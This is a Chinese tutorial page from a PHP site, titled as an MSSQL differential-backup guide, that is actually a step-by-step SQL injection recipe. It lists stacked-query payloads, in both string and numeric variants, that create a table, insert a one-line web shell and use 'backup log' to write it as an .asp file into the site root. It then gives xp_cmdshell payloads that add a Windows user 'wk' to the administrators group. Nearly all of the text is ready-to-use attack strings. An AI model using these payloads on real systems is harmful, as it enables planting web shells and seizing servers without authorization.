Home > Database > Mysql Tutorial > mssql数据库差异备份方法

mssql数据库差异备份方法

WBOY
Release: 2016-06-07 17:48:02
Original
1419 people have browsed it

手工实现差异备份的步骤

字符型:

1、恢复当前库
;alter database 当前库 set recovery full--

2、建表cmd
;create table cmd (a image)--

3、备份当前库到d:cmd1
;backup log 当前库 to disk = 'd:cmd1' with init--

4、插入一句话代码到创建的表cmd
;insert into cmd (a) values ('')--

5、备份一句话代码到站点根目录
;backup log 当前库 to disk = 'd:www_weboct.'--

6、完成
;drop table 创建的表--

数字型

1、恢复当前库
';alter database 当前库 set recovery full--

2、创建表cmd
';create table cmd (a image)--

3、备份当前库到d:cmd1
';backup log 当前库 to disk = 'd:cmd1' with init--

4、插入一句话代码到创建的表cmd
';insert into cmd (a) values ('')--

5、备份一句话代码到站点根目录
';backup log 当前库 to disk = 'd:www_weboct.asp'--

6、完成
';drop table 创建的表--

sa权限创建管理员用户

1、判断是否有注入;and 1=1 ;and 1=2
;and user_name()='dbo' 判断当前系统的连接用户是不是sa

2、添加系统的管理员
;exec master.dbo.xp_cmdshell 'net user wk wk90/add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators wk /add';--

Related labels:
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template